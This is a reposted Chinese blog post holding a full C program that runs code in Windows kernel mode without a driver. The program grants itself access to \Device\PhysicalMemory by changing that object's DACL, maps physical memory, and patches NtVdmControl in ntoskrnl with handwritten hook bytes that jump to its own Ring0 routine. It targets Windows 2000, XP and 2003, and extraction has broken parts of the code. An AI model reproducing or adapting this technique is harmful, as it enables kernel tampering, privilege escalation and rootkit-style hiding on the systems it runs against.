Jesses

集中精神
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

无驱进入R0[转]

Posted on 2011-03-11 04:49  Jesses  阅读(2177)  评论(0编辑  收藏  举报
2010-06-30 11:03
//************************************************************************

// Ring0Demo.c v1.0 by zzzEVAzzz

// 目的:演示无驱动执行Ring0代码。

// 原理:通过\Device\PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code

//调用R3下的NtVdmControl函数,系统进入R0后 调用HOOK后的代码

//************************************************************************

#include <Ntsecapi.h> 
#include <Aclapi.h> 

#pragma comment (lib,"ntdll.lib") // Copy From DDK

#pragma comment (lib,"Kernel32.lib")

#pragma comment (lib,"Advapi32.lib")

//------------------ 数据类型声明开始 --------------------//

typedef struct _SYSTEM_MODULE_INFORMATION {

ULONG Reserved;

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT Unknown;

USHORT LoadCount;

USHORT ModuleNameOffset;

CHAR ImageName256;

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _SECTION_INHERIT {

ViewShare = 1,

ViewUnmap = 2

} SECTION_INHERIT;

typedef struct _MY_PROCESS_INFO {

ULONG PID;

ULONG KPEB;

ULONG CR3;

CHAR Name16;

ULONG Reserved;

} MY_PROCESS_INFO, *PMY_PROCESS_INFO;

typedef long NTSTATUS;

//------------------ 数据类型声明结束 --------------------//

//--------------------- 预定义开始 -----------------------//

define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

define STATUS_SUCCESS 0x00000000

define STATUS_UNSUCCESSFUL 0xC0000001

define STATUS_NOT_IMPLEMENTED 0xC0000002

define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

define STATUS_INVALID_PARAMETER 0xC000000D

define STATUS_ACCESS_DENIED 0xC0000022

define STATUS_BUFFER_TOO_SMALL 0xC0000023

define OBJ_KERNEL_HANDLE 0x00000200

define SystemModuleInformation 11

define InitializeObjectAttributes( p, n, a, r, s ) { \ /* 注意,由于php标签过滤,以下6行缺少续行符\ */

(p)->Length = sizeof( OBJECT_ATTRIBUTES );

(p)->RootDirectory = r;

(p)->Attributes = a;

(p)->ObjectName = n;

(p)->SecurityDescriptor = s;

(p)->SecurityQualityOfService = NULL;

}

//--------------------- 预定义结束 -----------------------//

//------------------ Native API声明开始 ------------------//

NTSYSAPI

VOID

NTAPI

RtlInitUnicodeString(

PUNICODE_STRING DestinationString,

PCWSTR SourceString

);

NTSYSAPI

NTSTATUS

NTAPI

ZwQuerySystemInformation(

ULONG SystemInformationClass,

PVOID SystemInformation,

ULONG SystemInformationLength,

PULONG ReturnLength

);

NTSYSAPI

NTSTATUS

NTAPI

ZwOpenSection(

OUT PHANDLE SectionHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes

);

NTSYSAPI

NTSTATUS

NTAPI

ZwMapViewOfSection(

IN HANDLE SectionHandle,

IN HANDLE ProcessHandle,

IN OUT PVOID *BaseAddress,

IN ULONG ZeroBits,

IN ULONG CommitSize,

IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,

IN OUT PULONG ViewSize,

IN SECTION_INHERIT InheritDisposition,

IN ULONG AllocationType,

IN ULONG Protect

);

NTSYSAPI

NTSTATUS

NTAPI

ZwUnmapViewOfSection(

IN HANDLE ProcessHandle,

IN PVOID BaseAddress

);

NTSYSAPI

NTSTATUS

NTAPI

ZwClose(

IN HANDLE Handle

);

NTSYSAPI

NTSTATUS

NTAPI

NtVdmControl(

IN ULONG ControlCode,

IN PVOID ControlData

);

//------------------ Native API声明结束 ------------------//

//------------------ 全局变量定义开始 --------------------//

NTSTATUS

(NTAPI *pfnNtVdmControl)(

IN ULONG ControlCode,

IN PVOID ControlData

);

BOOLEAN

(NTAPI *pfnPsGetVersion)(

PULONG MajorVersion OPTIONAL,

PULONG MinorVersion OPTIONAL,

PULONG BuildNumber OPTIONAL,

PUNICODE_STRING CSDVersion OPTIONAL

);

HANDLE

(NTAPI *pfnPsGetCurrentProcessId)(

);

PVOID

(NTAPI *pfnMemcpy)(

IN VOID UNALIGNED *Destination,

IN CONST VOID UNALIGNED *Source,

IN SIZE_T Length

);

ULONG

(_cdecl *pfnDbgPrint)(

IN PCHAR Format,

...

);

ULONG *pPsInitialSystemProcess;

//------------------ 全局变量定义结束 --------------------//

// 获取指定模块的基址

PVOID GetModuleBase(PCSTR name)

{

NTSTATUS status;

PVOID pBuffer, pModule;

ULONG nRetSize, i, n;

PSYSTEM_MODULE_INFORMATION pmi;

pBuffer = LocalAlloc(LPTR, 0x1000);

if (NULL == pBuffer)

{

printf("LocalAlloc0 Failed: %d\n", GetLastError());

return NULL;

}

status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);

if (STATUS_INFO_LENGTH_MISMATCH == status)

{

// 缓冲区太小,重新分配

LocalFree(pBuffer);

pBuffer = LocalAlloc(LPTR, nRetSize);

if (NULL == pBuffer)

{

printf("LocalAlloc Failed: %d\n", GetLastError());

return NULL;

}

status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);

}

if (!NT_SUCCESS(status))

{

printf("ZwQuerySystemInformation Failed: %d\n", LsaNtStatusToWinError(status));

LocalFree(pBuffer);

return NULL;

}

pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);

n = *(ULONG*)pBuffer;

pModule = NULL;

// 搜索指定的模块名,获取基址

for (i=0; i

{

if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))

{

pModule = pmi->Base;

break;

}

pmi++;

}

LocalFree(pBuffer);

return pModule;

}

// 获取\Device\PhysicalMemory的可读写句柄

HANDLE OpenPhysicalMemory()

{

DWORD dwRet;

NTSTATUS status;

UNICODE_STRING name;

OBJECT_ATTRIBUTES oa;

EXPLICIT_ACCESS ea;

PSECURITY_DESCRIPTOR pSD;

PACL pDacl = NULL;

PACL pNewDacl = NULL;

HANDLE hSection = NULL;

HANDLE hSectionRet = NULL;

RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");

InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);

// 以可读写Section权限打开PhysicalMemory

status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);

if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回

if (status != STATUS_ACCESS_DENIED)

{

// 错误,但非权限不足,打开失败

printf("ZwOpenSection0 Failed: %d\n", LsaNtStatusToWinError(status));

hSectionRet = NULL;

goto FreeAndExit;

}

// 以可读写ACL权限打开PhysicalMemory

status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);

if (!NT_SUCCESS(status))

{

printf("ZwOpenSection Failed: %d\n", LsaNtStatusToWinError(status));

goto FreeAndExit;

}

// 获取PhysicalMemory的DACL

dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,

NULL, NULL, &pDacl, NULL, &pSD);

if (dwRet != ERROR_SUCCESS)

{

printf("GetSecurityInfo Failed: %d\n", dwRet);

goto FreeAndExit;

}

// 创建一个ACE,允许当前用户读写PhysicalMemory

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;

ea.grfAccessMode = GRANT_ACCESS;

ea.grfInheritance = NO_INHERITANCE;

ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

ea.Trustee.ptstrName = "CURRENT_USER";

// 将新的ACE加入DACL

dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);

if (dwRet != ERROR_SUCCESS)

{

printf("SetEntriesInAcl Failed: %d\n", dwRet);

goto FreeAndExit;

}

// 更新PhysicalMemory的DACL

dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,

NULL, NULL, pNewDacl, NULL);

if (dwRet != ERROR_SUCCESS)

{

printf("SetSecurityInfo Failed: %d\n", dwRet);

goto FreeAndExit;

}

// 再次以可读写权限打开PhysicalMemory

status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);

if (!NT_SUCCESS(status))

{

printf("ZwOpenSection Failed: %d\n", LsaNtStatusToWinError(status));

goto FreeAndExit;

}

FreeAndExit:

if (pSD) LocalFree(pSD);

if (pNewDacl) LocalFree(pNewDacl);

if (hSection) ZwClose(hSection);

return hSectionRet;

}

// 将物理内存映射到当前进程的用户空间

PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄

ULONG Offset, // 映射起始偏移量,相对于物理内存的0地址

ULONG CommitSize // 映射范围

)

{

NTSTATUS status;

PVOID BaseAddress = NULL;

LARGE_INTEGER PhysicalAddress = {Offset, 0};

SIZE_T ViewSize = CommitSize;

status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,

CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);

if (!NT_SUCCESS(status))

{

printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status));

return NULL;

}

return BaseAddress;

}

// 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName

NTSTATUS Ring0Code(ULONG size, // 缓冲区大小

PULONG buffer) // 缓冲区指针,指向调用者分配的缓存

// 参数个数与NtVdmControl一致,以平衡堆栈

{

ULONG BuildNumber;

ULONG ListOffset;

ULONG PIDOffset;

ULONG NameOffset;

PLIST_ENTRY ListHead, ListPtr;

PMY_PROCESS_INFO mypi;

pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息

pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);

pfnDbgPrint("BuildNumber = %d\n", BuildNumber);

switch (BuildNumber) // 各版本OS的KPEB结构不同

{

case 2195: // Win2000

ListOffset = 0xa0;

PIDOffset = 0x9c;

NameOffset = 0x1fc;

break;

case 2600: // WinXP

ListOffset = 0x88;

PIDOffset = 0x84;

NameOffset = 0x174;

break;

case 3790: // Win2003

ListOffset = 0x88;

PIDOffset = 0x84;

NameOffset = 0x154;

break;

default:

return STATUS_NOT_IMPLEMENTED;

}

if (size<4) return STATUS_BUFFER_TOO_SMALL;

size -= 4;

if (NULL == buffer) return STATUS_INVALID_PARAMETER;

*buffer = 0L; // 缓存的第一个ULONG用于保存进程总数

mypi = (PMY_PROCESS_INFO)(buffer + 1);

// 历遍ActiveProcessLinks

ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);

while (ListPtr->Flink != ListHead)

{

if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;

mypi->KPEB = (ULONG)ListPtr - ListOffset;

mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);

mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);

pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);

(*buffer)++;

mypi++;

size -= sizeof(MY_PROCESS_INFO);

ListPtr = ListPtr->Flink;

}

return STATUS_SUCCESS;

}

// 显示进程信息

void ListProcessInfo(PULONG buffer)

{

ULONG i, n = *buffer;

PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);

printf(" PID KPEB CR3 Name\n"

" ---- -------- -------- ----\n");

for (i=0; i

{

printf(" %-4d %08x %08x %s\n",

mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);

mypi++;

}

}

void main()

{

char *Kernel = "ntoskrnl.exe";

PVOID pKernel = NULL;

HMODULE hKernel = NULL;

HANDLE hSection = NULL;

char *mapping = NULL;

PVOID buffer = NULL;

ULONG offset;

NTSTATUS status;

char OrigCode24, HookCode24 =

"\xE8\xFF\xFF\xFF\xFF" // call 0xffffffff ;nt!PsGetCurrentProcessId

"\x3D\xEE\xEE\xEE\xEE" // cmp eax, 0xeeeeeeee ;自己的PID

"\x75\x05" // jne $Content$5

"\xE9\xDD\xDD\xDD\xDD" // jmp 0xdddddddd ;Ring0Code

"\xB8\x01\x00\x00\xC0" // mov eax, 0xc0000001 ;STATUS_UNSUCCESSFUL

"\xC3"; // ret

printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n");

// 获取系统核心模块ntoskrnl.exe的基址

pKernel = GetModuleBase(Kernel);

if (NULL == pKernel) return;

if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)

{

// 模块基址超出直接内存映射范围

printf("Error: Kernel module base (%08x) is out of range.\n", pKernel);

return;

}

// 在用户态加载一份ntoskrnl.exe

hKernel = LoadLibrary(Kernel);

if (NULL == hKernel)

{

printf("LoadLibrary Failed: %d\n", GetLastError());

return;

}

// 获取内核例程/变量在用户态的相对位置

if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&

(pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&

(pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&

(pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&

(pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&

(pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));

else

{

printf("GetProcAddress Failed: %d\n", GetLastError());

goto FreeAndExit;

}

// 计算内核例程/变量的实际地址

offset = (ULONG)pKernel - (ULONG)hKernel;

(ULONG)pfnMemcpy += offset;

(ULONG)pfnDbgPrint += offset;

(ULONG)pfnNtVdmControl += offset;

(ULONG)pfnPsGetVersion += offset;

(ULONG)pfnPsGetCurrentProcessId += offset;

(ULONG)pPsInitialSystemProcess += offset;

// 设置HookCode

*(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;

*(ULONG*)(HookCode+6) = GetCurrentProcessId();

*(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;

// 打开物理内存Section

hSection = OpenPhysicalMemory();

if (NULL == hSection) goto FreeAndExit;

// 映射NtVdmControl入口附近的内存

offset = (ULONG)pfnNtVdmControl & 0x1FFFF000; // 转换到物理内存页地址

mapping = MapPhysicalMemory(hSection, offset, 0x2000);

if (NULL == mapping) goto FreeAndExit;

// 保存NtVdmControl入口代码

offset = (ULONG)pfnNtVdmControl & 0x00000FFF; // 页内偏移

memcpy(OrigCode, mapping+offset, 24);

buffer = LocalAlloc(LPTR, 0x1000);

if (NULL == buffer)

{

printf("LocalAlloc Failed: %d\n", GetLastError());

goto FreeAndExit;

}

memcpy(mapping+offset, HookCode, 24); // 挂钩NtVdmControl

status = NtVdmControl(0x1000, buffer); // 调用NtVdmControl,进入Ring0

memcpy(mapping+offset, OrigCode, 24); // 还原NtVdmControl入口

if (!NT_SUCCESS(status))

{

printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status));

goto FreeAndExit;

}

ListProcessInfo(buffer);

FreeAndExit:

if (buffer != NULL) LocalFree(buffer);

if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);

if (hSection != NULL) ZwClose(hSection);

if (hKernel != NULL) FreeLibrary(hKernel);

}